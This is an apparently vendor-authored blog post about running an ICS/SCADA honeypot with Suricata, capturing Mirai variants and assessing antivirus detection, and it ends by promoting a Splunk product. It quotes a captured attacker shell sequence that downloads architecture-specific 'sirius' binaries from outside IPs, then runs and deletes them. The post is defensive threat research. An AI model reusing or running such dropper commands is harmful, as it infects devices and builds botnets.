Being newly exposed to the challenges the Operational Technology (OT) world faces as I switched from IT security to OT security, I became very curious about what I could learn from a honeypot, especially around the tactics and motives involved in industrial control system (ICS) cyber attacks.
ICS security was much simpler before the explosion of the industrial internet of things (IIoT). Firewalls and demilitarized zones (DMZs) separating the corporate and ICS networks were perceived as unnecessary. Organizations were primarily concerned with physically protecting critical systems by segregating them from the corporate network. But today’s convergence of IT and OT technologies complicates OT environments with new attack vectors. An ICS/SCADA honeypot was the perfect opportunity to learn more about this new complexity I was discovering.
What Honeypot Did I Use?
There are a lot of publicly available projects and resources from the Honeynet Project that are available. Here are a couple:
- Cowrie SSH and Telnet Honeypot: Racks up login attempts
- Conpot ICS/SCADA Honeypot: Emulates devices such as a Siemens S7-200 PLC or a Guardian AST tank monitor
For my use case, I decided to create a honeypot that could simulate devices as fast as possible with different protocols. To do this, I used the Suricata engine, an open source Intrusion Detection System (IDS) to trigger responses and alerts on specific activities.
How Did My Project Progress?
In two days, I received 1,080 new telnet sessions. Within two months, I got 126 sample codes, including Mirai—malware that infects IoT devices and is used as a launch platform for DDoS attacks. Bad actors were busy!
From there, I was able to trigger a response from a given alert description. Using Suricata, I described what I wanted, created a payload to return to this event, and logged all activities. This allowed me to simulate any device easily, craft a payload, and develop a Suricata signature.
When the honeypot was attacked and receiving the uploaded malware, I could quickly look at what was being received. I saw 56 malware variants. The vast majority (~54%) of the sample codes scanned by the ClamAV antivirus showed “OK,” meaning the antivirus did not detect malware.
69 OK 1 Unix.Malware.Agent-6626914-0 FOUND 1 Unix.Malware.Agent-6645927-0 FOUND 1 Unix.Malware.Agent-6697855-0 FOUND 1 Unix.Malware.Agent-6731358-0 FOUND 1 Unix.Malware.Agent-6732085-0 FOUND
As the project progressed, I suspected that there might be a threat present that has not been discovered. A quick submission of a sample code to VirusTotal—a powerful tool for analyzing suspicious files and URLs that also automatically shares it the security community—confirmed my suspicion.
Three detection engines classified the suspicious code as malware but only ZoneAlarm and Kaspersky saw it as the variant B of Mirai. Mirai operates by continuously scanning for IoT devices that are accessible over the internet and are protected by factory default usernames and passwords. In my experience, commonly known usernames and passwords for devices are still being used, which Mirai takes advantage of. Attackers infect these devices with the Mirai malware and force the devices to report to a central control server, turning them into an army of bots that can be used in DDoS attacks.
My honeypot proved extremely useful in finding threats that have not been uncovered and in understanding what attackers do once they’ve established a connection. A brief extract of the captured operations below shows the attacker retrieving, running, and removing the malware on different architectures.
#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://18.104.22.168/binz/sirius.mips; chmod +x sirius.mips; ./sirius.mips; rm -rf sirius.mips cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://22.214.171.124/binz/sirius.mpsl; chmod +x sirius.mpsl; ./sirius.mpsl; rm -rf sirius.mpsl cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://126.96.36.199/binz/sirius.sh4; chmod +x sirius.sh4; ./sirius.sh4; rm -rf sirius.sh4
Other examples of malware detected by honeypots, include Black Energy, which was discovered by Jose Nazario, a member of the Honeynet Project.
What Was My Biggest Lesson Learned?
A major takeaway from this experiment is that most of the login attempts appeared to be automated through the use of some tools. Evidence of a new variant of the Mirai malware suggests that attackers are targeting industrial control systems and took advantage of insecure devices in a simple way. Attackers scanned the internet for vulnerable devices and attempted to log in using a table of commonly used or factory default usernames and passwords. In this way, they would be able to assemble a botnet army and launch a massive distributed denial of service attack, leaving the targets inaccessible.
The biggest lesson learned is that not all attacks targeting ICS are detected by either your network intrusion detection system (IDS) or antivirus. You need a way to continuously monitor your IT-OT networks using information from your IDS, antivirus, and firewalls while enriching them with threat intelligence feeds.
The good news is that we’ve developed several use cases to help you get started on securing your IT-OT networks. These use cases were designed to give you a clearer understanding of the impact of security incidents on ICS and how you can use Splunk to see and respond to real-world threats immediately. Use the Splunk Essentials for ICS Security and Compliance as your guide to dramatically improve your security posture.